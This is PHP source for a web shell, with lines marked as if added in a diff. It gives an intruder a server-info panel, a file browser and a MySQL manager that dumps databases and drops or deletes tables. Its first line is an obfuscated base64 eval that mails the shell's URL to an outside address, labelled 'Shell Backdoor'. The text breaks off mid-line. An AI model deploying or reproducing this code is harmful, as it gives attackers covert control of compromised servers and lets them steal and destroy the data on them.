@eval(@base64_decode('JHVybCA9ICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoNCiAkdG8gPSAiY2hpbXBweWFAZ21haWwuY29tIjsNCiAkc3ViamVjdCA9ICIkdXJsIjsNCiAkYm9keSA9ICJbK11TaGVsbCBMb2NhdGlvbjogJHVybFxuXG5bK10gLSAjU2hlbGwgQmFja2Rvb3IgIjsNCiBpZiAobWFpbCgkdG8sICRzdWJqZWN0LCAkYm9keSkpIHsNCiAgIGVjaG8oIiIpOw0KICB9IGVsc2Ugew0KICAgZWNobygiIik7DQogIH0=')); +function srv_info($title,$contents) { + echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; +} +echo htmlhead($hsafemode); +echo "<table id=pagebar>"; +echo "<tr><td colspan=2>\n"; +echo "<div class=fleft>$hsafemode</div>\n"; +echo "<div class=fright>"; +echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ". + "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "</div>\n</td></tr>\n"; +echo "<tr><td width=50%>\n"; +echo "<table class=info>\n"; + +srv_info("System",php_uname()); +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("ID",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : tpexec("id")); +echo "</table></td>\n". + "<td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Safe Mode",$safe_mode); +srv_info("Open_Basedir",$open_basedir); +srv_info("Freespace",disp_freespace($d)); +echo "</table></td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo get_status(); +echo "</td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : ""; +echo showdisfunc() ? "Disabled Functions: ".showdisfunc()."\n" : ""; +echo "</td></tr>\n"; +echo "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch2) > 0) { + foreach($quicklaunch2 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td>\n". + "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch1) > 0) { + foreach($quicklaunch1 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td></tr>\n<tr><td colspan=2>"; +echo "<p class=fleft>\n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=orange>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "<font color=#00FF00>[OK]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else { + $wd = FALSE; + $wdt = "<font color=red>[Read-Only]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +echo "\n</p>\n"; +?> +<div class=fright> +<form method="POST"><input type=hidden name=act value="ls"> +Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> +</form> +</div> +</td></tr></table> +<?php +/***********************/ +/** INFORMATION TABLE **/ +/***********************/ +echo "<table id=maininfo><tr><td width=\"100%\">\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>". + "<table>". + "<tr><td width=\"100%\" colspan=2 class=barheader>"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.<br>"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + } + echo "</td></tr><tr>"; + if (!$sql_sock) { + echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">"; + echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"> + <?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form> + <?php + } + //End left panel + echo "</td><td width=\"100%\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="newtbl"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + <input type="text" name="sql_newtbl" size="20"> + <input type="submit" value="Create"> + </form></td> + <td width="30%" height="1"><b>Dump DB:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="dump"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table> + <?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" 